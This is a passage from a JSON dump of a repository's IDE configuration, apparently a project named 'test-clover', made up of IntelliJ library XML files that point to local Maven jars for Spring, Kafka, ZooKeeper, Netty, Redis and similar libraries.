    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: net.java.dev.jna:jna:3.0.9\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/net/java/dev/jna/jna/3.0.9/jna-3.0.9.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/net/java/dev/jna/jna/3.0.9/jna-3.0.9-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/net/java/dev/jna/jna/3.0.9/jna-3.0.9-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__net_sf_jopt_simple_jopt_simple_3_2.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: net.sf.jopt-simple:jopt-simple:3.2\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/net/sf/jopt-simple/jopt-simple/3.2/jopt-simple-3.2.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/net/sf/jopt-simple/jopt-simple/3.2/jopt-simple-3.2-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/net/sf/jopt-simple/jopt-simple/3.2/jopt-simple-3.2-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_apache_commons_com_springsource_org_apache_commons_codec_1_6_0.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.apache.commons:com.springsource.org.apache.commons.codec:1.6.0\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/commons/com.springsource.org.apache.commons.codec/1.6.0/com.springsource.org.apache.commons.codec-1.6.0.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/commons/com.springsource.org.apache.commons.codec/1.6.0/com.springsource.org.apache.commons.codec-1.6.0-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/commons/com.springsource.org.apache.commons.codec/1.6.0/com.springsource.org.apache.commons.codec-1.6.0-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_apache_commons_com_springsource_org_apache_commons_logging_1_1_1.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.apache.commons:com.springsource.org.apache.commons.logging:1.1.1\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/commons/com.springsource.org.apache.commons.logging/1.1.1/com.springsource.org.apache.commons.logging-1.1.1.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/commons/com.springsource.org.apache.commons.logging/1.1.1/com.springsource.org.apache.commons.logging-1.1.1-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/commons/com.springsource.org.apache.commons.logging/1.1.1/com.springsource.org.apache.commons.logging-1.1.1-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_apache_commons_commons_pool2_2_0.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.apache.commons:commons-pool2:2.0\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/commons/commons-pool2/2.0/commons-pool2-2.0.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/commons/commons-pool2/2.0/commons-pool2-2.0-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/commons/commons-pool2/2.0/commons-pool2-2.0-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_apache_curator_curator_client_2_7_0.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.apache.curator:curator-client:2.7.0\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/curator/curator-client/2.7.0/curator-client-2.7.0.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/curator/curator-client/2.7.0/curator-client-2.7.0-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/curator/curator-client/2.7.0/curator-client-2.7.0-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_apache_curator_curator_framework_2_7_0.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.apache.curator:curator-framework:2.7.0\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/curator/curator-framework/2.7.0/curator-framework-2.7.0.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/curator/curator-framework/2.7.0/curator-framework-2.7.0-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/curator/curator-framework/2.7.0/curator-framework-2.7.0-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_apache_httpcomponents_com_springsource_org_apache_httpcomponents_httpclient_4_2_1.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.apache.httpcomponents:com.springsource.org.apache.httpcomponents.httpclient:4.2.1\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/httpcomponents/com.springsource.org.apache.httpcomponents.httpclient/4.2.1/com.springsource.org.apache.httpcomponents.httpclient-4.2.1.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/httpcomponents/com.springsource.org.apache.httpcomponents.httpclient/4.2.1/com.springsource.org.apache.httpcomponents.httpclient-4.2.1-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/httpcomponents/com.springsource.org.apache.httpcomponents.httpclient/4.2.1/com.springsource.org.apache.httpcomponents.httpclient-4.2.1-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_apache_httpcomponents_com_springsource_org_apache_httpcomponents_httpclient_cache_4_2_1.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.apache.httpcomponents:com.springsource.org.apache.httpcomponents.httpclient-cache:4.2.1\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/httpcomponents/com.springsource.org.apache.httpcomponents.httpclient-cache/4.2.1/com.springsource.org.apache.httpcomponents.httpclient-cache-4.2.1.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/httpcomponents/com.springsource.org.apache.httpcomponents.httpclient-cache/4.2.1/com.springsource.org.apache.httpcomponents.httpclient-cache-4.2.1-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/httpcomponents/com.springsource.org.apache.httpcomponents.httpclient-cache/4.2.1/com.springsource.org.apache.httpcomponents.httpclient-cache-4.2.1-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_apache_httpcomponents_com_springsource_org_apache_httpcomponents_httpcore_4_2_1.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.apache.httpcomponents:com.springsource.org.apache.httpcomponents.httpcore:4.2.1\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/httpcomponents/com.springsource.org.apache.httpcomponents.httpcore/4.2.1/com.springsource.org.apache.httpcomponents.httpcore-4.2.1.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/httpcomponents/com.springsource.org.apache.httpcomponents.httpcore/4.2.1/com.springsource.org.apache.httpcomponents.httpcore-4.2.1-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/httpcomponents/com.springsource.org.apache.httpcomponents.httpcore/4.2.1/com.springsource.org.apache.httpcomponents.httpcore-4.2.1-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_apache_httpcomponents_com_springsource_org_apache_httpcomponents_httpmime_4_2_1.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.apache.httpcomponents:com.springsource.org.apache.httpcomponents.httpmime:4.2.1\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/httpcomponents/com.springsource.org.apache.httpcomponents.httpmime/4.2.1/com.springsource.org.apache.httpcomponents.httpmime-4.2.1.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/httpcomponents/com.springsource.org.apache.httpcomponents.httpmime/4.2.1/com.springsource.org.apache.httpcomponents.httpmime-4.2.1-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/httpcomponents/com.springsource.org.apache.httpcomponents.httpmime/4.2.1/com.springsource.org.apache.httpcomponents.httpmime-4.2.1-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_apache_kafka_kafka_2_9_2_0_8_1_1.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.apache.kafka:kafka_2.9.2:0.8.1.1\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/kafka/kafka_2.9.2/0.8.1.1/kafka_2.9.2-0.8.1.1.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/kafka/kafka_2.9.2/0.8.1.1/kafka_2.9.2-0.8.1.1-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/kafka/kafka_2.9.2/0.8.1.1/kafka_2.9.2-0.8.1.1-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_apache_zookeeper_zookeeper_3_4_5.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.apache.zookeeper:zookeeper:3.4.5\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/zookeeper/zookeeper/3.4.5/zookeeper-3.4.5.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/zookeeper/zookeeper/3.4.5/zookeeper-3.4.5-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/apache/zookeeper/zookeeper/3.4.5/zookeeper-3.4.5-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_hamcrest_hamcrest_core_1_3.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.hamcrest:hamcrest-core:1.3\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/hamcrest/hamcrest-core/1.3/hamcrest-core-1.3.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/hamcrest/hamcrest-core/1.3/hamcrest-core-1.3-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/hamcrest/hamcrest-core/1.3/hamcrest-core-1.3-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_jboss_netty_netty_3_2_2_Final.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.jboss.netty:netty:3.2.2.Final\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/jboss/netty/netty/3.2.2.Final/netty-3.2.2.Final.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/jboss/netty/netty/3.2.2.Final/netty-3.2.2.Final-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/jboss/netty/netty/3.2.2.Final/netty-3.2.2.Final-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_jboss_netty_netty_3_2_9_Final.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.jboss.netty:netty:3.2.9.Final\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/jboss/netty/netty/3.2.9.Final/netty-3.2.9.Final.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/jboss/netty/netty/3.2.9.Final/netty-3.2.9.Final-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/jboss/netty/netty/3.2.9.Final/netty-3.2.9.Final-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_mongodb_mongo_java_driver_2_11_3.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.mongodb:mongo-java-driver:2.11.3\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/mongodb/mongo-java-driver/2.11.3/mongo-java-driver-2.11.3.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/mongodb/mongo-java-driver/2.11.3/mongo-java-driver-2.11.3-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/mongodb/mongo-java-driver/2.11.3/mongo-java-driver-2.11.3-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_quartz_scheduler_quartz_2_2_1.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.quartz-scheduler:quartz:2.2.1\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/quartz-scheduler/quartz/2.2.1/quartz-2.2.1.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/quartz-scheduler/quartz/2.2.1/quartz-2.2.1-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/quartz-scheduler/quartz/2.2.1/quartz-2.2.1-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_scala_lang_scala_library_2_9_2.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.scala-lang:scala-library:2.9.2\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/scala-lang/scala-library/2.9.2/scala-library-2.9.2.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/scala-lang/scala-library/2.9.2/scala-library-2.9.2-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/scala-lang/scala-library/2.9.2/scala-library-2.9.2-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_slf4j_slf4j_api_1_6_6.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.slf4j:slf4j-api:1.6.6\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/slf4j/slf4j-api/1.6.6/slf4j-api-1.6.6.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/slf4j/slf4j-api/1.6.6/slf4j-api-1.6.6-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/slf4j/slf4j-api/1.6.6/slf4j-api-1.6.6-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_slf4j_slf4j_log4j12_1_6_1.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.slf4j:slf4j-log4j12:1.6.1\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/slf4j/slf4j-log4j12/1.6.1/slf4j-log4j12-1.6.1.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/slf4j/slf4j-log4j12/1.6.1/slf4j-log4j12-1.6.1-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/slf4j/slf4j-log4j12/1.6.1/slf4j-log4j12-1.6.1-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_springframework_spring_aop_3_2_4_RELEASE.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.springframework:spring-aop:3.2.4.RELEASE\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-aop/3.2.4.RELEASE/spring-aop-3.2.4.RELEASE.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-aop/3.2.4.RELEASE/spring-aop-3.2.4.RELEASE-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-aop/3.2.4.RELEASE/spring-aop-3.2.4.RELEASE-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_springframework_spring_beans_3_2_4_RELEASE.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.springframework:spring-beans:3.2.4.RELEASE\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-beans/3.2.4.RELEASE/spring-beans-3.2.4.RELEASE.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-beans/3.2.4.RELEASE/spring-beans-3.2.4.RELEASE-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-beans/3.2.4.RELEASE/spring-beans-3.2.4.RELEASE-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_springframework_spring_context_3_2_4_RELEASE.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.springframework:spring-context:3.2.4.RELEASE\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-context/3.2.4.RELEASE/spring-context-3.2.4.RELEASE.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-context/3.2.4.RELEASE/spring-context-3.2.4.RELEASE-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-context/3.2.4.RELEASE/spring-context-3.2.4.RELEASE-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_springframework_spring_core_3_2_4_RELEASE.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.springframework:spring-core:3.2.4.RELEASE\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-core/3.2.4.RELEASE/spring-core-3.2.4.RELEASE.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-core/3.2.4.RELEASE/spring-core-3.2.4.RELEASE-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-core/3.2.4.RELEASE/spring-core-3.2.4.RELEASE-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_springframework_spring_expression_3_2_4_RELEASE.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.springframework:spring-expression:3.2.4.RELEASE\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-expression/3.2.4.RELEASE/spring-expression-3.2.4.RELEASE.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-expression/3.2.4.RELEASE/spring-expression-3.2.4.RELEASE-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-expression/3.2.4.RELEASE/spring-expression-3.2.4.RELEASE-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_springframework_spring_web_3_2_4_RELEASE.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.springframework:spring-web:3.2.4.RELEASE\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-web/3.2.4.RELEASE/spring-web-3.2.4.RELEASE.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-web/3.2.4.RELEASE/spring-web-3.2.4.RELEASE-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-web/3.2.4.RELEASE/spring-web-3.2.4.RELEASE-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_springframework_spring_webmvc_3_2_4_RELEASE.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.springframework:spring-webmvc:3.2.4.RELEASE\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-webmvc/3.2.4.RELEASE/spring-webmvc-3.2.4.RELEASE.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-webmvc/3.2.4.RELEASE/spring-webmvc-3.2.4.RELEASE-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-webmvc/3.2.4.RELEASE/spring-webmvc-3.2.4.RELEASE-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_xerial_snappy_snappy_java_1_1_1_6.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.xerial.snappy:snappy-java:1.1.1.6\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/xerial/snappy/snappy-java/1.1.1.6/snappy-java-1.1.1.6.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/xerial/snappy/snappy-java/1.1.1.6/snappy-java-1.1.1.6-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/xerial/snappy/snappy-java/1.1.1.6/snappy-java-1.1.1.6-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_zeromq_jeromq_0_3_4.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.zeromq:jeromq:0.3.4\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/zeromq/jeromq/0.3.4/jeromq-0.3.4.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/zeromq/jeromq/0.3.4/jeromq-0.3.4-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/zeromq/jeromq/0.3.4/jeromq-0.3.4-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__org_zeromq_zeromq_scala_binding_2_10_0_0_7.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: org.zeromq:zeromq-scala-binding_2.10:0.0.7\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/zeromq/zeromq-scala-binding_2.10/0.0.7/zeromq-scala-binding_2.10-0.0.7.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/zeromq/zeromq-scala-binding_2.10/0.0.7/zeromq-scala-binding_2.10-0.0.7-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/org/zeromq/zeromq-scala-binding_2.10/0.0.7/zeromq-scala-binding_2.10-0.0.7-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__redis_clients_jedis_2_6_0.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: redis.clients:jedis:2.6.0\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/redis/clients/jedis/2.6.0/jedis-2.6.0.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/redis/clients/jedis/2.6.0/jedis-2.6.0-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/redis/clients/jedis/2.6.0/jedis-2.6.0-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/clover_client_dev_1_0.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"clover-client-dev-1.0\">\r\n    <CLASSES />\r\n    <JAVADOC />\r\n    <SOURCES />\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/clover_core_dev_1_0.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"clover-core-dev-1.0\">\r\n    <CLASSES>\r\n      <root url=\"jar://$PROJECT_DIR$/../clover/clover-admin/target/clover-admin-dev-1.0/WEB-INF/lib/clover-core-dev-1.0.jar!/\" />\r\n      <root url=\"jar://$PROJECT_DIR$/../clover/clover-admin/target/clover-admin-dev-1.0/WEB-INF/lib/clover-client-dev-1.0.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC />\r\n    <SOURCES />\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/misc.xml",
